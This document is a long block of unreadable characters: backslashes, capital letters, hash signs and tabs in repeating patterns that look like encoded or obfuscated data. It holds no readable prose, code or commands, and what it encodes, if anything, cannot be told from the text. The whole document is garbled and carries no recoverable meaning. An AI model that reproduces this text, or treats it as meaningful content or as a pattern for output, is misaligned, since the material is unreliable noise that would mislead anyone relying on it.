JNTKLEUTXKM	'XDL
MK!U\\B\\TMOWOKUU\\v\\\\X#OE		ODHMO'XLJMNKH!\\\\\\A\\XKM	'XDL
MK!Gvv\\\\vv\\\\\v\\\\\\\\\TTXOO
D'#JO
TILHU!U\\ZZ\\\\#JO
TKOMUTXOO
D'E#
NMNMTILHU!UU\\v\\\\X
I

\A\\\\\TU\XOO
D'
JNTILHU!Gv\\\\\\\TX
I

\\BA\\TNMEWDMU\\\ZZ\X
I

\\\\\@A\\TDJOMNWDDUU\\X#OE		ODHMO'#JO
TILHU!\\A\\\\\X
I

Gvvvv\\\\v\\\\TTXOO
D'
JNTKONU!U\\\\ZZ\
JNTKOOUTXOO
D'LLIN	TKONU!UU\v\\\\X#\\\\\A\\TU\XOO
D'#JO
TKONU!GvSS\\	
\vv\\\\\TX#\BA\\\\TLWLOMU\\\\ZZ\\\\\X#\@A\TDJODKWMOUU\X#OE		ODHMO'E#
NMNMTKONU!\\A\X#Gvvvv\\\\\vv\\\\\\\TTX#OE		ODHMOUU\\v#T
JNTIDJUUGv\\#TE#
NMNMTKOHUUGvv\\\	#T#JO
TKOIUP\\#JO
TIIHUTUUGv#TE#
NMNMTKOJUUGv\\\JHMTUGvv\\	IL#OH#HOTUGv\	Gvv\v\XMH\\\A\
MEIEJJMTE#
NMNMTKOKUP\\\UGv\\\T#JO
TKODUTXMHUU\\vX#OE		ODHMO\\A\LLIN	THLOUTXMHP\\\\X#OE		ODHMOUGv\\\\vvvv\v\\\\TE#
NMNMTJIMUTLLIN	THENUUU\\vSS\+,\JRN\
F\\Qvv\XNK\\\\\A\\##M	#MMTUGv\\TTX#OE		ODHMO'E#
NMNMTILHU!U\\ZZ\\TU\\\\X#OE		ODHMO'
JNTILHU!\\\\BA\THEMQMEMU\ZZ\TU\\\\\X#OE		ODHMO'LLIN	TILHU!\@A\\THIELKWHLHEOUU\\\XNK\\\A\TU\\\\X#OE		ODHMO'E#
NMNMTILHU!Gv#TKHDNHEDTUP\\\X#OE		ODHMOP\\\XNKUGv\\v\\\vv
MIDL	L	TE#
NMNMTKOEUP\X#OE		ODHMOP\\\\\LLIN	TKHLUUGv\\\\\TTX#OE		ODHMO'LLIN	TKONU!U\\ZZ\\E#
NMNMTKHMUT#JO
TKHNUU\\\\\ZZ\\E#
NMNMTKHMUT#JO
TKHOUU\\ZZ\\\\LLIN	TKHMUTE#
NMNMTHNOUUU\\v\X
M	ML\\\\A\##	#
T
JKITUUGv\\\TX
M	ML\\\\ZZ\\TU\\X
M	MLQB
\]AA\\\\\\TU\\\\\X#OE		ODHMO'E#
NMNMTKONU!U\\v\\\\\\##	#T
JKITUUGv#	#
TLLIN	TIIHUTU\\\\W\\\\\LLIN	THNIUTTNMH"NOHUP\\\\\\TNDNWMDUUP\\\\\E#
NMNMTKHHUP\\
JKITUUGv\\vvvvv\\	#TE#
NMNMTKHIUP\\
JNTIIHUTUUGv\#TLLIN	TIDJUUGv\\#T
JNTKHJUUGv\#TLLIN	TKOJUUGv\JHMTUGv\\	IL#OH#HOTUGvvvv\\v\TXOEEKD	U\\\vv\KENTUGvvv\v\\\\\\T(\\XKU\\\v\\\\\LHMMJKT#JO
TJIEUP\\\XKUGv\\\\\T9\XKU\v\\\\\\\\\\\v\ODOM	ET
JNTHNHUUGv\\vvvv\v\\\v\\	\\\\\HLKM	TX	HENP\\\\\\XLD\\A\\\^^P\XII	\\A\\\\\Uv\\v\\\\T]
EKMLT
JNTHNHUUU\	Gvv\\\\v\\\\v\XL
M####L	IO\A\<#JO
TODJUTX	HENP\	UGvvvv\\\\T
JNTKLNUTXL
M####L	IOU\\\ZZ\\#JO
TKLEUTXL
M####L	IOU\\\B\\\TMLHDIILWNJUU\\\\\XL
M####L	IO\\\\A\\#
	TXL
M####L	IOUGv\\\\\\\\\\\T]\XL
M####L	IO\\\\\\  \\\
JNTKLEUTXL
M####L	IOU\@\TLMWLKU\\  \\LLIN	TIJDUTXL
M####L	IOP\\\
JNTKHKUU\\\]AA\\LU\\v\\	Gv\v\\\\\T]\LEIOTXL
M####L	IOUU\v\\LHMMJKTE#
NMNMTKHDUP\LLIN	TKHEUUGv	Gvv\\\\\TLLIN	TKKUTE#
NMNMTNMNUP\
JNTKILUTXL
M####L	IOP\\LP\\\\TLMWLIOUUP\\XKL	J	
UU\\vvv\\TXLD\\\\]AA\\^^\\\ZZ\XLD\\]AA\\\\XKL	J	
'M!U\vSS\+,\:	\/\9F\\	Qvvvvv\LHMMJKT
JNTKHDUP\\LLIN	TKIMUUGv\	Gv\\\\vXLD\\\\\A\\\XKL	J	
'M!Gvvvv\\\\\\vLHMMJKT#JO
TKHDUP\\\#JO
TKINUUGv\\	Gvvvv\\\\\\\v\\\T]XII	\\\ZZ\\\\\
#TXLDP\\E#NDNTUU\@A\\\\\\LU\v	Gv\\\\\\\\v\XDDELLM#\\A\\L	DINOOTUGv\\\\T]XDDELLM#\  \\\\\LLIN	TKLEUTXDDELLM#U\\\\@\\TEDWHLNUU\v\\LHMMJKTE#
NMNMTKHDUP\E#
NMNMTKIOUUGv\\	GXIOLA,4,#1=63.#*9./532GXDHDIAXIOLVIGvvvv\\\\\\\vXOKK	L\\\A\#T#JO
TMDNUUGv\\\\\T#JO
TKLNUTXOKK	LU\\ZZ\\E#
NMNMTIJDUTXOKK	LP\#JO
TKIHUTXL
M####L	IOU\\\\\\R\\[ [U\\\\AAA\\\\LU\\\\vv\XH		K\\\\\A\\\\TU\E#
NMNMTKILUTXOKK	LP\\\\LLIN	TIJDUTXOKK	LP\\\\[ [U\\W\\\MUGv\\\T#JO
TIIHUTU\Q\XH		K\@\\\\\\TDJOLNWEDUU\\\\v\\\\	Gv\v\\\\\v\\\XE\\\A\\#JO
TMENUTEIITUU\R\\\\\LLIN	TMDLU\\\R\\LLIN	TKIIUTXL
M####L	IOUGvvv\\\\\T<E#
NMNMTIJOUTXEUU\vvX	I\\A\\\\\<TU\\E#
NMNMTKEUTXEUGv\\\TX	I\\\\ZZ\\LLIN	TIIHUTU\\Q\X	I\\@\\\TLKDWLODUU\v\	Gvv<#JO
TKIJUTXEUGvv\\\\\\\	TXEP\X	IUGv\\\\\XKOKJ\\\\A\\\Gv\T
JNTKHMUT
JNTHOLUU\\\\\\ZZ\\\E#
NMNMTKIKUT#JO
TKIDUUU\\\\\vvvvX#	OIHO\\\A\LLIN	THOLUT#	T[S[UP\T
JNTOMLU\\AB\\\TJK"KIUP\\#JO
TKIEU\AB\NP\LLIN	TKJLU\\AB\\UUGv\T]\TE#
NMNMTKJMUT
JNTOMOUU\\\ZZ\\##TX#	OIHOUUU\\vXKOKJ\\A\\TU\##
##TX#	OIHOU\BA\THKEWNMUGv\\vSS\<\vvvv\vvvvXK	NJN\\\A\Gv\\\\T#JO
TKJNUTE#
NMNMTKJOUUU\\v\\\\\\\X
MO
I\\\\\\A\#TE#
NMNMTNMHUP\\TUUGv\XK	NJN\A\\
JNTKJHUTX
MO
IU\\\\\ZZ\\#JO
TMDKUTM	#JND#TUP\\X
MO
IP\\\	UGv\\vSS\\	\vvODLTEIITUP\TMEWHLMUUGvv\\\\\\\\T]\HH#EOMTEIITUP\\\\DENJNHTXL
M####L	IOUUU\\vSV\Q	
\\VSvv\\LHMMJKT#JO
TKJIUP\\\\#JO
TKJJUUGv\\	Gv\\\v\HDIEL#	TEIITUUGv\\\MIJN#TEIITUUGv\\\\\\T
JNTKJNUTE#
NMNMTKJKUUU\<#T#JO
TKJDUP\\MP\\\TNDDWMNUUGvvvv\\T]\\\\XKOKJ\ZZ\\#JO
TKJNUTE#
NMNMTKJEUU\\\\\\ZZ\\\\E#
NMNMTKJNUTE#
NMNMTKKLUUU\\vvvXLN	LI
\\A\\\QMGv\\\\\\TXMOI\\\\A\\LG\\XMOI\@\NG\\XMOIWWU\\\vvv\\X	LHK\\A\\\#JO
TKKMUT#	TE#
NMNMTKKNU\R\
JNTKKOUTTEEEEKWOUP\\\\\\TMNDHOKWDKMIJNUUUP\\T
JNTKKHU\\\AB\\TLKWLMUP\E#
NMNMTKIEU\AB\NP\\\LLIN	TKJLU\\\\AB\\UUGvvv\\\T#JO
TKJNUTE#
NMNMTOMOUU\\\\ZZ\##TX	LHKUU\\\v\\\\\\\TXMOI\\AAA\\\\\L\\\\ZZ\\LLIN	TKJNUT
JNTKKIUUU\\\#JO
TKKIUTNUGv	Gv\\v\\\\XDMD\\\\\A\TU\##
##TX	LHKUGv\\\\\\\\TXDMD\\@\\TONWJDU\  \LLIN	TMDKUTXDMDP\TTHHDWIIUP\\TKWIMOUP\\TEEIQHKHUP\\\\\TEJJQHHHUP\\\\\\TJOHQMMMUP\\TIMLWMHUP\TIMHWMNUP\TLMOWLOUUP\\	UU\\vvvv\\\\\\TXMOI\\AAA\L\\ZZ\\\#JO
TKJNUTE#
NMNMTKKJUUU\\\LLIN	TKKKUTNUGv	Gvv\\XLN	LI
\A\\\XDMDGv\\\\Gv\\\vvvv\\TXLN	LI
\\\\AAA\\QMU\\\XLN	LI
\\A\THKMWNEUG\v\\TXLN	LI
\BA\\\TMKHWONJUU\\v\XJML\\\\\A\\\\\HH#EOMTEIITUP\DENJNHTXDDELLM#UUGvvvv\\\\\\\\\T]XJMLU\\XJML\\A\\HH#EOMTEIITUP\\\\XDDELLM#UGv\	#TLLIN	TMDNUP\
JNTKIIUTXL
M####L	IOU\\\\\R\\[ [\\\\R\\E#
NMNMTIIHUTUP\E#
NMNMTKHLUUGvvv\\\\\\\T]XJMLU\\vvv\\\LHMMJKT#JO
TKJIUP\\
JNTKKDU\\\R\XLN	LI
UGXKDJKIAKDDIGXMJM#AXKDJKIYMJGv\\\\	Gv\\\\\v\\\MIJN#TEIITUUGvv\HDIEL#	TEIITUUGvvv\\\L	DINOOT	UGvvvv\JO#	#ET	UGvXJIE#\\\\A\\\\LLIN	TJODUTEIITUP\#JO
TKKEUUGv\\\\\TT
JNTMENUTEIITUUP\\#E
HNETUU\\\\\XH
HEU\\\\v<E#
NMNMTKIJUTXH
HE\R\E#
NMNMTMEJU\\R\XJIE#UGvv<
JNTKIJUTXH
HE\\R\\\
JNTMKEU\\R\\\XJIE#UGvvv\\\\v\\TXK	NJN\\ZZ\]HHD##MJTU\ZZ\\LLIN	TKJNUTLLIN	TOJDUUU\\v\XO	HE#H\\A\\\#T#JO
TKDLUP\\\TUUGv\\\\\\\TE#
NMNMTKJHUTXO	HE#HU\ZZ\\\\\]
JNTMDKUTM	#JND#TUP\\\\XO	HE#HP\\	UU\\\\\v\\\\XO	HE#H'!\\A\\M	#JND#TUGv<	#T
JNTKDMUP\\\\XO	HE#HUGvvvv\v\X;03>=0/'E#
NMNMTKDNU!\A\\\\LGv\	IL#OH#HOTUGvLHMMJKT#JO
TKDOUP\\\LLIN	TKDHU\\\R\XLN	LI
UGv	Gv\\vv\\\\\vvvv\\\TXLD\\\\]AA\\\\^^U\v\X;03>=0/'LLIN	TMU!\A\XLDGv\\\\LHN	TEIITUP\XLDUGv\\v\\\\\\\\TXII	U\\vv\XJNN#\\\\A\\#JO
TJODUTEIITUP\LLIN	TKKEUUGvvv\\\\\\\\\\\TT#JO
TMENUTEIITUUP\\\\#E
HNETUU\\\\\\\\\XNMMU\\v\<
JNTKIJUTXNMM\R\LLIN	TMEJU\R\XJNN#UGv\\\\v\	TXJNN#P\\\\\XNMMUGvvvv\\\\vvvv\\\\\\\D#NEKT
JNTKDIUP\\XL
M####L	IOP\\\
JNTKHLUUGvL	DINOOT	UGvvvv\\\JO#	#ET	UGvvv\\\\\X;03>=0/'E#
NMNMTKDNU!\\\A\\LGv	IL#OH#HOTUGv\ODLTEIITUP\\\TDDWNLHUUGv\\\\\TMIJN#TEIITUUU\\\\\\


	MMNTEIITUUGv	#TLLIN	TNLLUP\\XLD\R\\\\\\[ [\R\\\E#
NMNMTIIHUTUP\LLIN	TKHLUUGvvvv\\\\\\\T(\\\XKU\v\\LHMMJKT#JO
TKDOUP\\\XKUGv\\\\\\\\\\\T9\\\XKU\v\\\\\\\v\\\ODOM	ETLLIN	THNHUUGvvvv\\\\v\v\\\\	\\EDLLD#TUv\\v\\\\\\T]\\\\\\T
JNTHDHUU\\\\\  \]\
JNTKJNUTLLIN	TKDJUUU\v\\\\\\\TLLIN	TKDKUT=>/,=(4\\\\R\\\\E#
NMNMTKDDUUU\\\v\	#\\\\=>/,=(4\R\#JO
TKDDUGvvvvv\\\\\\T]\\\
JNTKJNUT
JNTKDEUUU\\\\\v\	Gv\\v\\\\\\vvv\\\\XI
H		\\\\A\\\\#	TUGv\\\\\\\\\\T]\\\#JO
TKJHUTXI
H		UU\\\\v	Gv\v\\\\\\X\\\A\\\\\TUGvvvv\\\\TXI
H		\\\X\\\\\AB\XI#J	U\v\TX\\AAA\M	#JND#TUU\\\v\\	Gv\\vX'X!\A\\XI#J	Gvv\	\\\\XGvvvv\\\\\	\MEOJTXLHHP\\\XIOHLNUv\\\\\v\\\\\vv\\XO\\\\\A\\\\\<
JNTIHKUTXLHHP\\P\\\\	P\LP\TNKIIHJWNHDKHNUUG\\v\\T]\\XOU\\\\v\\\\\\\	\\\Gv\\\v\\vvv\\TXIOHLN\\\\\\\\XDNLU\v\\v\T]\E#
NMNMTKELUTXDNLU\  \\]\\\XDNL\  \
JNTKLEUTXDNLU\B\\THLHEWHKUU\\\\v\\\\\\	Gv\v\\v\\\\\\\vvvv\\XNNOMM\\\\\A\<#JO
TKKUTXDNLP\\\XOUGv\\\T(\\XEN	JLU\v\\LHMMJKT#JO
TKEMUP\\\\XEN	JLUGv\\\\\\\	Gv\\\T9\XEN	JLU\\vvv\\\	GvvSS\	\Q\vv\vvvv\\\TXNNOMMU\\\v\\\\\\	\\	Gv\\vv	\\\\\\Gv\\v\\\\v\\	\#MITX	#Uv\\\\v\\XIOHLN\\\A\X;03>=0/'LLIN	TJENU!Gv\\T]\\E#
NMNMTKJHUTXIOHLNU\\\  \\TXIOHLNUU\v\	\\Gvv\\\\\\\T]\TLLIN	THDHUU\  \\\TX	#U\\  \\\\E#
NMNMTIJDUTX	#P\\E#
NMNMTNOEUU\]AA\\\U\\\\v\\\\	\Gv\\\\vv\\vXMI\\A\\\\\+,#,0);52#85.\\R\\\[S[\\R\\\\\X	#Gv\\\\TE#
NMNMTMENUTX	#U\\AAA\\\\\\[R[U\\v\\\XIOK#M\\\A\\\TXMIUGv\\\\\vvvXJEI#H\\A\\
JNTKENUTXMIUGv\\\\\\\\\T]\
JNTMHOUTXJEI#HU\\  \\\]\#JO
TKEOUTXJEI#HUU\v\\\\	\\\Gv\vXIOK#M\A\\\\\OIHMO#TXJEI#HP\\\TLLIN	TKEHUP\\#JO
TIMLUP\\\\
JNTKEIUP\\\\\E#
NMNMTKEJUP\#JO
TKEKUUUGv\\\\vvvvv\\\\\TXIOK#M\\\\\\\\\\XLHHU\\v\\\\\T]\\E#
NMNMTIJOUTXLHHUU\\v\\	Gvv\\v\\\\\\TMEOJTXLHHP\\XIOHLNUU\\\\\vvvv\\\	\\	Gvv\\\\\\v\\\	\\Gv\\v	\OIHMO#TXJEI#HP\\\XJMKOEJNP\XLD		\A\\\LP\\\\\\ZXMOI##\A\	P\\\ZXEM\A\\	Uv\vv\\X\\\\\A\\\TUGvv\\\TXLD		\B\TOWIUU\\v\\\\\\\	\\\XGv\\vSS\
\vvv\\\\TXMOI##\\AAA\	U\\\\\\XDKOLK#DAJIWONGXK#

NDAXDKOLK#DQMGvv\XMOI##\\\\A\\TUGvv\\XEM\\\\\A\\
JNTJKMUT	U\\\\\W\\\\TMWEUGvvv\\\\\vvv\\\\\\\TE#
NMNMTJKMUT	U\\\\B\\XEMU\\\\\v\\	\\XGv\v\T]\\\\LLIN	TMHOUTXJEI#HUU\v	\\\\\\XGv\vX#HNHHEH\\A\<#JO
TMKMUTXJEI#HUGv\\\\\\\TX#HNHHEH\\]AA\\\\U\\v\\TTXMOI##'X#HNHHEH!UU\\v	\\\\XGv\\\\v\\XMOI##'X#HNHHEH!\A\	Gvvv\vX	
MKO#\\\\A\\MHTXJEI#HUGXHELIATLHWLHDUGXL	I	#AXHELIYMLGv\\\T]\LLIN	TKJHUTX	
MKO#UU\X	MHA,4,#52(#1=$S,4,#52(#1=$GXKIL
AX	MHWMKGv\\\	\\\\XGvvvv\\\\v\\\\\\\\TX	
MKO#\\\\\\\XNKU\\\\vSS\,/.QH\F\\vvv\\\\\T
JNTJKMUT	U\\B\XEM\  \\\
JNTKEDUTXU\\BA\\TNDOWNMKUU\\\\v\Gv\\\\\vvvv\\XMI\\\A\\XJEI#H\\R\\[S[\\\\\\R\\XNKGvvvv\\\\T<LLIN	TKEEUTXMIUU\\\v\\\\\	GXMOLEAMJOOGXJOMDMMAXMOLEYOGv\\\v\\\T<LLIN	TMHOUTXMIUU\\XJNNLKAJNWILGXEMNAXJNNLKQNEGv\\X\\A\\
JNTHLOUTXP\OIHMO#TXMIP\\\XJMKOEJNP\\XLD		\\\\W\MP\XMOI##P\XEMUUGv\\\\\\\\\\\\T<E#
NMNMTIJOUTXMIUU\\\\\v\X#L\\A\\LLIN	TDLLUTXMIP\T
JNTDLMUUUGvvvv\\\\\\X#L\\\\A\E#
NMNMTKELUTX#LU\C\\
JNTDLNUTX#LU\F\\^^Gvvvv\\\\\\\T#JO
TMDKUTX#LP\\XJMKOEJNP\\\\\\	UU\vX'!\A\\\\\\XMIGvvvv\\\v\v\vSS\\\
vv\\\\	\XGvv\\\\\\v\\\\\v\	\\\JEDDK	TX	#Uv\v\vvv\\\T]\\\
JNTKELUTX	#U\\\\\  \\\]\\\\X	#U\\\\v\\	\Gvvvvvvv\\TE#
NMNMTDLOUTX	#P\\\#JO
TNOEUU\\]AA\U\\\\\\v\\\	\\\\\GXOIHDAILWEIGXJM
EOKK#AXOIHDQNKGvvvX	#\A\\E#
NMNMTJJNUTX	#UGv\TX	#\AAA\\\\\M	#JND#TUU\\vSV\\Q\VSvv\	\\\\\Gvv\v\\\\T]\LLIN	TKJNUTE#
NMNMTDLHUU\\\\\ZZ\E#
NMNMTKDKUT=>/,=(4\R\\\\\#JO
TKDDUUU\\\\vSS\,4,/\
\E\\vv\	#\\=>/,=(4\\\\R\\
JNTDLIUGvv\\\\v\\\v\\\\\\\T
JNTDLJUT#JO
TDLHUU\\\\ZZ\\#	#
TX	#UU\v\\\\\\\
#	TTX	#UP\\\\	UG\v\\\v\vXJEI#H\\A\T#JO
THDHUU\C\\\+,#,0);52#85.\\\\\\R\[S[\\R\\\
JNTDLKUTX	#U\\\\\F\\\^^Gv\\\\\\\TXJEI#H\\ZZ\\\E#
NMNMTDLDUTXJEI#HU\\\\ZZ\\\\\\#JO
TDLEUTX	#U\\]AA\\\[R[\ZZ\
JNTDMLUTX	#UU\\v\\\TDKNEHLOETXJEI#HUU\\\v\\\\\\	\	Gv\vv\\v\\\\vvv\\\TLLIN	TDMMUTE#
NMNMTDMNUUU\\\\v\\v\\\\\T]\\\
JNTDMMUTLLIN	TDMOUU\\  \]\\	#	#T
JNTDMNUUU\\\vSS\+,\/\0\\vv\\\\\\\\\\TLLIN	TDMMUT
JNTDMHUU\\\ZZ\E#
NMNMTDMMUT
JNTDMIUUU\\\v\X	\\\\A\\\\#	TT
JNTDMJU\\\AB\\\\LLIN	TDMKUP\\\\\#JO
TDMDU\\AB\\\\\MUUGv\\\\T]\\TX	U\\ZZ\\\X	'L!QB58U\v\LLIN	TDMIUTX	'L!QB58UGX##MOI
A,4,#1=63.#*9./532GXHMH
IAX##MOI
VOGv\\\\\\\\\vvvvE#
NMNMTDMEUTMUGv\\\\v\v\\\\v\\\v\X
O\\\A\\#	TTX	#UUGv\\\T]\\\\\\##TX
OUU\v	\\TU\X
OGv\v\v\	\\Gvvv\\vvv\v\\	\DKNEHLOETXJEI#HP\\XLD		\\\\\A\\LUvvvvvv\\TXLD		\B\\TLWLHUU\v\	\\Gvvv\\\\\\\\\T]\\\\\LLIN	TDNLUTXJEI#HU\\\\\\  \\\XJEI#H\\AAA\^^\\\\\  \\\\#JO
TDLOUTXJEI#HP\\\#JO
TDNMUU\\\]AA\\\\U\\\vvv\	\\\Gv\\vXOLHEOL\A\\\<E#
NMNMTMKMUTXJEI#HUGv\\\TXOLHEOL\AAA\\\  \\\\]\\\E#
NMNMTDLDUTXOLHEOLUU\\\v\	\Gv\v\\\\\XOEDL\A\TLLIN	TDNNUU\\\\C\\\<#JO
TDNOUT+,#,0);52#85.U\F\\\\Gv\\\\\TXOEDL\AAA\\  \TXOLHEOL\\\\\]AA\\XOEDL\\\ZZ\\#JO
TDNHUTXOLHEOLP\\\\\XOEDL\\R\85.9?(3.%#/9,=.=(3.U\\]AA\\\LUU\v\\\	\\\Gv\vX
	KOMH\\\\\A\\<E#
NMNMTDNIUTXOLHEOLUGv\\\\\\\\T]\
JNTKJHUTX
	KOMHUU\vSV\\Q\VSvv\	\\Gv\\\v\\\\\\TX
	KOMH\\\X
	NKOU\\\v\\\\\TX
	NKO\AAA\[R[\\\\  \\\\\X
	NKO\\\\\AAA\\#JO
TDNMUU\\\\\XJ#LADHMGXMNIMAXJ#LYMMGvv\\\\	Gvvv\\\XMI\\A\\XOLHEOL\\R\\T
JNTDNJUU\\\\R\\X
	NKOGvvvv\T<#JO
TKEEUTXMIUU\vNN#		TXMIUGvvvv\\\	Gv\\v\\\\\\\\\\\\T<
JNTDLDUTXMIUU\\vvv\\\\DKNEHLOETXMIP\\XLD		\\\\\\W\\MUGv\\\\\\\\\v\\\T]\\NN#		TXMIUU\vvvODLTXMIP\\TLOWLMJUUGv\\\\NN#		TXMIUGv\\v\\\vv\\\\\\T]\\\\\<
JNTDNKUTXOLHEOLUU\\\vODLTXOLHEOLP\\\TDLKQOMHUUGv\\\\<LLIN	TDNKUTXOLHEOLUGvvvv\\vvv	\\]\\\\\<
JNTDNDUTXOLHEOLUGv\\\\\\vvv\vvvvv\\\\\\	\KENTUv\\\v\\\\vSS\+,\	9,F\Q\vv\\X\\A\\\EDLLD#TUGvvv\\\\\\T]\LLIN	TKJHUTXUU\\\v\\\\\\	Gv\\\vv\X
HME\A\\\TUGvXK
IDJ#\\A\\\Gv\\\\\\T
JNTDNEUTXU\\\\\XU\v\v\\\\\\T]\\E#
NMNMTDOLUTXUU\\\v\	Gv\\\v\\\v\X
HJ

\A\\\\\#JO
TDMLUTXUGvvv\\\\\\\\TX
HJ

\\AAA\\[R[U\\v\\X
HJ

\A\\XGv\v\\\\\\TTX
HME'X
HJ

!UU\v\	Gv\\\\\\v\\\v\\\X
HME'X
HJ

!\A\\\\\\	Gv\\\T#MITXUU\\\vv\JEDDK	TXUGvvvvv\\\\\XK
IDJ#\\\A\\\\\\	Gv\\\\\vSV\\\VSvvvvv\vSS\+,\/\(F\\vvvv\\\\v\\T<E#
NMNMTDOMUT#E
HNETUUU\\\vvv\\\\\XOLHNH\\A\\\\MHT#E
HNETUUGv\\\\T
JNTDONUTXOLHNHUU\\\v\XIOHLN\\A\\\X;03>=0/'#JO
TDOOU!Gv\\\\\\\\\TXOLHNH\\\\\XNKU\\v\v\\TXNK\AAA\\\\
DJMTUU\\\\\vvv\	Gvv\\\\\v\\\vXLHH\\\A\\\\#E
HNETU\\R\[S[\\\R\\\\XNKGvv\\\\\\\T]\\\\<LLIN	TIJOUTXLHHU\\\\\  \#JO
TDLNUTE#
NMNMTDLLUTXNKP\\TLLIN	TDLMUUUU\\\\\]AA\\\\LLIN	TIMLUU\\\v\\	Gv\v\\\v\\TMEOJTXLHHP\\XIOHLNUU\\vSS\	\QQ\\+,\	5>,vvvvv\\\NN#		TXLHHUGvvvvXK
IDJ#\\A\\	Gv\\\\\\\\vvv\v\\\vv\v\\\\\\\v\XKN

OK\\\\A\X;03>=0/'LLIN	TDOHU!Gv\\TLLIN	TDONUTXKN

OKU\\\\\ZZ\]\\\\\TXKN

OKUU\\\\v\\\TDDDITXKN

OKUU\\\v\XK
IDJ#\\\A\\\	Gv\\\vvv\\\\\\T(\\XKU\\\\v\\\\LHMMJKT#JO
TDOIUP\\\\\XKUGvvvv\\\\\\\\T9\\\XKU\\v\\\\\v\v\\\\v	\\D#OTUvv\\\vX
	LLN\\\\\A\\\\TU\\\\\#TE#
NMNMTDOJUP\\\LUGvvv\\\\TT#JO
TIIHUTU\\\\Q\\X
	LLNU\BA\\\\TEMOWNJDKUU\v\\\\\\	#T
JNTDOJUP\\\
JNTIIHUTUUGv\XINHIM\A\\TTINMTUP\TLLIN	TDOKUUUUGv\XOEI\A\\
JNTDMMUTE#
NMNMTMMHUU\\\\\C\\#JO
TMMHUTU\\\F\\\\^^Gv\\\\TXOEI\\]AA\\^^\\\ZZ\XOEI\\\\]AA\\\INMTUU\\\XINHIM'!\\\\A\\\TXOEIP\\\\\TE#
NMNMTDODUP\#JO
TDOEUUUGv\\TXINHIM\\\X	H#U\\v\\\\\\\\TX	H#'M!\\\\\\X	KNIEDU\\\\v\\\\XHD	\\A\E#
NMNMTDMMUTLLIN	TJOIUU\\\\C\<E#
NMNMTJOIUTX	H#'L!\R\\\[S[\R\\\\\X	KNIED\\\R\\\[V[U\\F\Gv\\\\\\\\T]
JNTDHLUTXHD	UU\\\\	Gv\\\\\\\\TXHD	\\\\\\XHEU\\v\\T]<E#
NMNMTIJOUTXHEUU\\\\	GvXOHDJ\\A\\<
JNTDHMUTXHEUGvvv\TXOHDJ\]AA\\\\\\ZZ\\\\\TLLIN	TIIHUTU\\Q\\XOHDJU\\\\\\B\TNNIJWMOHHUU\\\NN#		TXHEUGv\\\\\\\v\\\vvv\\\\\X
MO
I\\A\\\#T#JO
TKDMUP\\TUUGv\\\\\\\\T]E#
NMNMTDHLUTX
MO
IUU\\\\\X
MO
I\\\\\\A\TUGv\\XN#LMKL
J\\\A\\#JO
TJODUTEIITUP\\#JO
TDHNUUGXOKIAJMVEGXI
#DOAXOKIQEGv\X#\A\\TT
JNTOLLUU\\C\+,#?32(92(#85.\F\\=>/,=(4\R\\\LLIN	TDHOUU\\R\\\
JNTDHHUGv\\\TLLIN	TDHIUT#JO
TJOIUU\C\TU\\\\<
JNTDHJUTX#\\\R\\\\#JO
THDJUU\F\\\\\TU\\\\\\XE
NU\\\\v\T#JO
TJODUTE#
NMNMTDMLUTXE
NUU\\\\AAA\\\\XN#LMKL
JU\\\	GvXML
\\A\\#JO
TJODUT
JNTDHKUTXE
NUU\\R\\\[S[\\R\
JNTJODUTXE
NUGv\\\\\\\\T#JO
TDHDUTXML
P\X
MO
IP\	UU\\\\\	Gv\\\T]<LLIN	TMDIUTXE
NUU\	Gv\\X#	DO\\\A\\\\\<#JO
TNMLUTXE
NUGvvvv\\\\\T]X#	DO\\  \\X#	DO\\\\\B\\TLDNEWLMKNHKUU\	Gv\\\XDMD\A\\<LLIN	TIHKUTXE
NUGv\\T]#JO
TDOLUTXDMDU\\\  \\E#
NMNMTDNHUTXDMDP\\\\#JO
TDHEUU\\\\\AAA\U\\\	Gv\X#HO\A\\E#
NMNMTHELUT
JNTDILUP\\\\^^P\XDMDUGv\T]LLIN	TDIMUTX#HOU\  \\X#HO\\\\AAA\\\\XDMD\  \\]LEIOTX#HOUU\\\\	Gv\\HH#EOMTXE
NP\\\\\X#HOUGv\\\\\T#JO
TDINUT
JNTDIOUUU\<#
TXE
NP\\\\	UGv\\\vvv\	TX
MO
IP\\XN#LMKL
JP\X#P\\\XE
NP\\XML
P\\X#	DOP\XDMDP\\\X#HOUGvvvv\\\\\\\I
K
LMKTUGv\v\\\vvvv\XKNK\\\\A\\X;03>=0/'
JNTDOOU!Gv\\XKN

OK\\A\\X;03>=0/'LLIN	TDOHU!Gvvvv\\\\\X
HJI\A\\\\\TE#
NMNMTDHLUTXKNKU\ZZ\\]\\TXKNKUU\\  \\T
JNTDHLUTXKN

OKU\\ZZ\\]\\TXKN

OKUUGv\\\T]\X
HJIU\\v\\\	Gv\\\\\\\\vvvv\\\\\v\\X
KE#\\\\A\\\TU\\\#TLLIN	TDIHUP\\LUGv\\\\\TT#JO
TIIHUTU\\\Q\\\\\X
KE#U\@\\TJNOIQNJOIUU\\\\vvvv\\	Gv\\vvvv\KENTUGv\	#T#JO
TDIIUP\\\
JNTIIHUTUUGv\\\T(\\\\\\XKU\\\vLHMMJKTE#
NMNMTDIJUP\XKUGvvvv\\\\T9\\\XKU\\\vv\v\v	\\\\\IDOHIEK	TUv\\\\\v\\vvvv\\XKI\\\A\\\\\L	DINOOTUGv\\\\\T]XKI\\\\\  \\#JO
TKLEUTXKIU\\@\\\\\TEOJQHOJUU\	Gv\\\T]LEIOTXKIUU\v\LHMMJKTLLIN	TDIKUP\\\
JNTDIDUUGvvvv	Gv\vvvv\\\T
JNTDINUTLLIN	TILMUU\\ZZ\\#T
JNTDIEUUU\\\\\	Gv\\\\vXKD	KO\\\A\\\#E
HNETUGv\T	UGv\\\\\\T<
JNTKEEUTXKD	KOU\\\\\ZZ\\\\]<LLIN	TDOMUTXKD	KOUU\\\\XNHLAHJJGXJ
JAXNHLYMIGv	Gv\\\\\\\v\v\\\T]<
JNTDOMUTXKD	KOUU\\\\\\vX
#N\\\\A\\<	TLUGv\\	KOM#TXKD	KOP\\THLHWDEUP\	UGv<	TX
#NUGv\ODLTXKD	KOP\\\\THJEWNHUUGv\T	UGv\\\\\\\\\\\\\T]<
JNTDJLUTXKD	KOU\  \\]<LLIN	TMDIUTXKD	KOUU\vSS\
\Q\Qvv\\\\ODLTXKD	KOP\\THDIWDUUGXLKOANOE NNKGXOD	OLAXLKO"MEGvvvv\\\\\T	UGv\\v\\\\v\\\\\T<E#
NMNMTDOMUTXKD	KOU\\\ZZ\\\\T]<E#
NMNMTDJLUTXKD	KOU\\\\  \\]<E#
